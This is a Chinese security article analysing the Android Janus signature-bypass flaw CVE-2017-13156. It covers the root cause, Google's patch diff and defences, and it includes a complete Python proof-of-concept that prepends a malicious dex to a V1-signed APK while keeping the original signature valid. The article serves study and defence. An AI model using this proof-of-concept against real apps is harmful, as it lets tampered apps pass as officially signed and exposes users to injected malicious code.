热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全

Janus签名漏洞(CVE-2017-13156)原理与利用分析

发布时间:2018-05-18 11:43文章来源:freebuf文章作者:Tasfa 点击次数:
摘要:000 简介 前言:去年比较严重的洞,以比较浅显的方式学习记录一下,网上有很多其他深度分析文章,也可借鉴学习。 Janus签名漏洞可以让攻击者绕过安卓系统的signature scheme V1签名机制,进而直接对App进行篡改。而且由于安卓系统的其他安全机制也是建立在签...

 

0×00 简介

前言:去年比较严重的洞,以比较浅显的方式学习记录一下,网上有很多其他深度分析文章,也可借鉴学习。

Janus签名漏洞可以让攻击者绕过安卓系统的signature scheme V1签名机制,进而直接对App进行篡改。而且由于安卓系统的其他安全机制也是建立在签名和校验基础之上,该漏洞相当于绕过了安卓系统的整个安全机制。

 

公告详情: https://source.android.com/security/bulletin/2017-12-01

 

影响: 利用该漏洞的攻击者可注入恶意代码直接修改app而不影响其原始签名,即修改后仍是官方签名

 

影响范围: Android 5.0-8.0且使用Signaturescheme V1签名的APK文件,不影响Signaturescheme V2

 

自测:

 

adb shell dumpsys package pkgName | grep apkSigningVersion

 

0×01 漏洞原理

 

Android在4.4引入ART虚拟机,相比较于Dalvik虚拟机仅能运行包装于apk中的dex文件,ART还允许直接运行优化后的dex文件。具体操作是通过读取文件头部的magic字段进行判断,区别执行apk或者dex。

 

ZIP文件的读取方式是读取文件末尾定位的central directory, 然后通过里面的索引定位到各个zip entry,每个entry解压之后都对应一个文件。ParseZipArchive()函数在进行以上处理时候并没有判断文件头部的magic字段是否为504B0304(即Zip).

因此根据以上两点,攻击者可以通过将恶意dex文件置于apk文件的头部(如上图所示),在系统安装apk文件时,系统安装器解压zip时并没有先判断apk文件的头部magic字段,直接默认是apk(zip)文件,从而直接从文件尾部进行读取解压,此时签名没有任何变化,因此可欺骗系统,从而进行安装。

攻击关键点是当用户点击运行apk时,系统ART虚拟机会去判断文件头部的magic字段,从而使用不同的策略执行文件,由于该apk文件头部被修改为恶意dex,因此art虚拟机直接执行恶意dex文件。

0×02 漏洞利用

漏洞利用PoC:

#!/usr/bin/python import sys import struct import hashlib from zlib import adler32 def update_checksum(data):     '''     生成sha1 hash      "<L" 小端存储unsigned long     '''     m = hashlib.sha1()     m.update(data[32:])     data[12:12+20] = m.digest()     #计算Adler-32 checksum     v = adler32(buffer(data[12:])) & 0xffffffff      data[8:12] = struct.pack("<L", v) def main():     if len(sys.argv) != 4:         print("usage: %s dex apk out_apk" % __file__)         return     _, dex, apk, out_apk = sys.argv     #读取dex二进制数据     with open(dex, 'rb') as f:         dex_data = bytearray(f.read())     dex_size = len(dex_data)     #操作zip文件,可学习一下zip文件格式     with open(apk, 'rb') as f:         apk_data = bytearray(f.read())     cd_end_addr = apk_data.rfind('\x50\x4b\x05\x06')      #central directory 起始地址     cd_start_addr = struct.unpack("<L", apk_data[cd_end_addr+16:cd_end_addr+20])[0]     apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr+dex_size)     pos = cd_start_addr     while (pos < cd_end_addr):         offset = struct.unpack("<L", apk_data[pos+42:pos+46])[0]         apk_data[pos+42:pos+46] = struct.pack("<L", offset+dex_size)         pos = apk_data.find("\x50\x4b\x01\x02", pos+46, cd_end_addr)         if pos == -1:             break     #注入dex_data     out_data = dex_data + apk_data     out_data[32:36] = struct.pack("<L", len(out_data))     update_checksum(out_data)     with open(out_apk, "wb") as f:         f.write(out_data)     print ('%s generated' % out_apk) if __name__ == '__main__':     main() 

0×03 漏洞防御

谷歌官方修复diff:

diff --git a/libziparchive/zip_archive.cc b/libziparchive/zip_archive.cc index 78de40a..d0bbd72 100644 --- a/libziparchive/zip_archive.cc +++ b/libziparchive/zip_archive.cc @@ -441,6 +441,22 @@        return -1;      }    } + +  uint32_t lfh_start_bytes; +  //读取zip头部信息 +  if (!archive->mapped_zip.ReadAtOffset(reinterpret_cast<uint8_t*>(&lfh_start_bytes), +                                        sizeof(uint32_t), 0)) { +    ALOGW("Zip: Unable to read header for entry at offset == 0."); +    return -1; +  } +    //增加kSignature头部验证,不同时返回-1 +  if (lfh_start_bytes != LocalFileHeader::kSignature) { +    ALOGW("Zip: Entry at offset zero has invalid LFH signature %" PRIx32, lfh_start_bytes); +  #if defined(__ANDROID__) +    android_errorWriteLog(0x534e4554, "64211847"); +  #endif +    return -1; +  } +    ALOGV("+++ zip good scan %" PRIu16 " entries", num_entries);    return 0; 

在解压zip文件时,调用函数ReadAtOffset()读取offset=0的magic字段是否为LocalFileHeader::kSignature(即0x04034b50)

防御:

 

使用Signaturescheme V2签名

 

前往官方网站下载正版应用或到阿里PP助手下载安全应用

0×04 参考

New Android vulnerability allows attackers to modify apps without affecting their signatures

Janus漏洞(CVE-2017-13156): 修改安卓app而不影响签名

安卓“Janus”漏洞的产生原理及利用过程

ZIP文件格式分析

标签分类:

上一篇:SMT智能合约整型溢出漏洞
下一篇:Pwn2Own华为HiApp漏洞原理与利用分析(上)